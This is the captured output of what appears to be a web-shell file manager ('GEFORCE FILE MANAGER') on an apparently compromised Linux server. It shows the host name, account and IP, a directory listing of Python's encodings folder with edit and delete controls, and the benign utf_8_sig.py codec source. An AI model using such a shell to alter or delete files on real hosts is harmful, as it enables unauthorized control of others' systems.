[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib64
/
python3.6
/
encodings
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 __pycache__
SET
[ DEL ]
📄 __init__.py
5,642 B
SET
[ EDIT ]
|
[ DEL ]
📄 aliases.py
15,577 B
SET
[ EDIT ]
|
[ DEL ]
📄 ascii.py
1,248 B
SET
[ EDIT ]
|
[ DEL ]
📄 base64_codec.py
1,533 B
SET
[ EDIT ]
|
[ DEL ]
📄 big5.py
1,019 B
SET
[ EDIT ]
|
[ DEL ]
📄 big5hkscs.py
1,039 B
SET
[ EDIT ]
|
[ DEL ]
📄 bz2_codec.py
2,249 B
SET
[ EDIT ]
|
[ DEL ]
📄 charmap.py
2,084 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp037.py
13,121 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1006.py
13,568 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1026.py
13,113 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1125.py
34,597 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1140.py
13,105 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1250.py
13,686 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1251.py
13,361 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1252.py
13,511 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1253.py
13,094 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1254.py
13,502 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1255.py
12,466 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1256.py
12,814 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1257.py
13,374 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp1258.py
13,364 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp273.py
14,132 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp424.py
12,055 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp437.py
34,564 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp500.py
13,121 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp65001.py
1,106 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp720.py
13,686 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp737.py
34,681 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp775.py
34,476 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp850.py
34,105 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp852.py
35,002 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp855.py
33,850 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp856.py
12,423 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp857.py
33,908 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp858.py
34,015 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp860.py
34,681 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp861.py
34,633 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp862.py
33,370 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp863.py
34,252 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp864.py
33,663 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp865.py
34,618 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp866.py
34,396 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp869.py
32,965 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp874.py
12,595 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp875.py
12,854 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp932.py
1,023 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp949.py
1,023 B
SET
[ EDIT ]
|
[ DEL ]
📄 cp950.py
1,023 B
SET
[ EDIT ]
|
[ DEL ]
📄 euc_jis_2004.py
1,051 B
SET
[ EDIT ]
|
[ DEL ]
📄 euc_jisx0213.py
1,051 B
SET
[ EDIT ]
|
[ DEL ]
📄 euc_jp.py
1,027 B
SET
[ EDIT ]
|
[ DEL ]
📄 euc_kr.py
1,027 B
SET
[ EDIT ]
|
[ DEL ]
📄 gb18030.py
1,031 B
SET
[ EDIT ]
|
[ DEL ]
📄 gb2312.py
1,027 B
SET
[ EDIT ]
|
[ DEL ]
📄 gbk.py
1,015 B
SET
[ EDIT ]
|
[ DEL ]
📄 hex_codec.py
1,508 B
SET
[ EDIT ]
|
[ DEL ]
📄 hp_roman8.py
13,475 B
SET
[ EDIT ]
|
[ DEL ]
📄 hz.py
1,011 B
SET
[ EDIT ]
|
[ DEL ]
📄 idna.py
9,098 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso2022_jp.py
1,053 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso2022_jp_1.py
1,061 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso2022_jp_2.py
1,061 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso2022_jp_2004.py
1,073 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso2022_jp_3.py
1,061 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso2022_jp_ext.py
1,069 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso2022_kr.py
1,053 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_1.py
13,176 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_10.py
13,589 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_11.py
12,335 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_13.py
13,271 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_14.py
13,652 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_15.py
13,212 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_16.py
13,557 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_2.py
13,404 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_3.py
13,089 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_4.py
13,376 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_5.py
13,015 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_6.py
10,833 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_7.py
12,844 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_8.py
11,036 B
SET
[ EDIT ]
|
[ DEL ]
📄 iso8859_9.py
13,156 B
SET
[ EDIT ]
|
[ DEL ]
📄 johab.py
1,023 B
SET
[ EDIT ]
|
[ DEL ]
📄 koi8_r.py
13,779 B
SET
[ EDIT ]
|
[ DEL ]
📄 koi8_t.py
13,193 B
SET
[ EDIT ]
|
[ DEL ]
📄 koi8_u.py
13,762 B
SET
[ EDIT ]
|
[ DEL ]
📄 kz1048.py
13,723 B
SET
[ EDIT ]
|
[ DEL ]
📄 latin_1.py
1,264 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_arabic.py
36,467 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_centeuro.py
14,102 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_croatian.py
13,633 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_cyrillic.py
13,454 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_farsi.py
15,170 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_greek.py
13,721 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_iceland.py
13,498 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_latin2.py
14,118 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_roman.py
13,480 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_romanian.py
13,661 B
SET
[ EDIT ]
|
[ DEL ]
📄 mac_turkish.py
13,513 B
SET
[ EDIT ]
|
[ DEL ]
📄 mbcs.py
1,211 B
SET
[ EDIT ]
|
[ DEL ]
📄 oem.py
1,019 B
SET
[ EDIT ]
|
[ DEL ]
📄 palmos.py
13,519 B
SET
[ EDIT ]
|
[ DEL ]
📄 ptcp154.py
14,015 B
SET
[ EDIT ]
|
[ DEL ]
📄 punycode.py
6,881 B
SET
[ EDIT ]
|
[ DEL ]
📄 quopri_codec.py
1,525 B
SET
[ EDIT ]
|
[ DEL ]
📄 raw_unicode_escape.py
1,208 B
SET
[ EDIT ]
|
[ DEL ]
📄 rot_13.py
2,438 B
SET
[ EDIT ]
|
[ DEL ]
📄 shift_jis.py
1,039 B
SET
[ EDIT ]
|
[ DEL ]
📄 shift_jis_2004.py
1,059 B
SET
[ EDIT ]
|
[ DEL ]
📄 shift_jisx0213.py
1,059 B
SET
[ EDIT ]
|
[ DEL ]
📄 tis_620.py
12,300 B
SET
[ EDIT ]
|
[ DEL ]
📄 undefined.py
1,299 B
SET
[ EDIT ]
|
[ DEL ]
📄 unicode_escape.py
1,184 B
SET
[ EDIT ]
|
[ DEL ]
📄 unicode_internal.py
1,196 B
SET
[ EDIT ]
|
[ DEL ]
📄 utf_16.py
5,236 B
SET
[ EDIT ]
|
[ DEL ]
📄 utf_16_be.py
1,037 B
SET
[ EDIT ]
|
[ DEL ]
📄 utf_16_le.py
1,037 B
SET
[ EDIT ]
|
[ DEL ]
📄 utf_32.py
5,129 B
SET
[ EDIT ]
|
[ DEL ]
📄 utf_32_be.py
930 B
SET
[ EDIT ]
|
[ DEL ]
📄 utf_32_le.py
930 B
SET
[ EDIT ]
|
[ DEL ]
📄 utf_7.py
946 B
SET
[ EDIT ]
|
[ DEL ]
📄 utf_8.py
1,005 B
SET
[ EDIT ]
|
[ DEL ]
📄 utf_8_sig.py
4,133 B
SET
[ EDIT ]
|
[ DEL ]
📄 uu_codec.py
2,721 B
SET
[ EDIT ]
|
[ DEL ]
📄 zlib_codec.py
2,204 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: utf_8_sig.py
""" Python 'utf-8-sig' Codec This work similar to UTF-8 with the following changes: * On encoding/writing a UTF-8 encoded BOM will be prepended/written as the first three bytes. * On decoding/reading if the first three bytes are a UTF-8 encoded BOM, these bytes will be skipped. """ import codecs ### Codec APIs def encode(input, errors='strict'): return (codecs.BOM_UTF8 + codecs.utf_8_encode(input, errors)[0], len(input)) def decode(input, errors='strict'): prefix = 0 if input[:3] == codecs.BOM_UTF8: input = input[3:] prefix = 3 (output, consumed) = codecs.utf_8_decode(input, errors, True) return (output, consumed+prefix) class IncrementalEncoder(codecs.IncrementalEncoder): def __init__(self, errors='strict'): codecs.IncrementalEncoder.__init__(self, errors) self.first = 1 def encode(self, input, final=False): if self.first: self.first = 0 return codecs.BOM_UTF8 + \ codecs.utf_8_encode(input, self.errors)[0] else: return codecs.utf_8_encode(input, self.errors)[0] def reset(self): codecs.IncrementalEncoder.reset(self) self.first = 1 def getstate(self): return self.first def setstate(self, state): self.first = state class IncrementalDecoder(codecs.BufferedIncrementalDecoder): def __init__(self, errors='strict'): codecs.BufferedIncrementalDecoder.__init__(self, errors) self.first = 1 def _buffer_decode(self, input, errors, final): if self.first: if len(input) < 3: if codecs.BOM_UTF8.startswith(input): # not enough data to decide if this really is a BOM # => try again on the next call return ("", 0) else: self.first = 0 else: self.first = 0 if input[:3] == codecs.BOM_UTF8: (output, consumed) = \ codecs.utf_8_decode(input[3:], errors, final) return (output, consumed+3) return codecs.utf_8_decode(input, errors, final) def reset(self): codecs.BufferedIncrementalDecoder.reset(self) self.first = 1 def getstate(self): state = codecs.BufferedIncrementalDecoder.getstate(self) # state[1] must be 0 here, as it isn't passed along to the caller return (state[0], self.first) def setstate(self, state): # state[1] will be ignored by BufferedIncrementalDecoder.setstate() codecs.BufferedIncrementalDecoder.setstate(self, state) self.first = state[1] class StreamWriter(codecs.StreamWriter): def reset(self): codecs.StreamWriter.reset(self) try: del self.encode except AttributeError: pass def encode(self, input, errors='strict'): self.encode = codecs.utf_8_encode return encode(input, errors) class StreamReader(codecs.StreamReader): def reset(self): codecs.StreamReader.reset(self) try: del self.decode except AttributeError: pass def decode(self, input, errors='strict'): if len(input) < 3: if codecs.BOM_UTF8.startswith(input): # not enough data to decide if this is a BOM # => try again on the next call return ("", 0) elif input[:3] == codecs.BOM_UTF8: self.decode = codecs.utf_8_decode (output, consumed) = codecs.utf_8_decode(input[3:],errors) return (output, consumed+3) # (else) no BOM present self.decode = codecs.utf_8_decode return codecs.utf_8_decode(input, errors) ### encodings module API def getregentry(): return codecs.CodecInfo( name='utf-8-sig', encode=encode, decode=decode, incrementalencoder=IncrementalEncoder, incrementaldecoder=IncrementalDecoder, streamreader=StreamReader, streamwriter=StreamWriter, )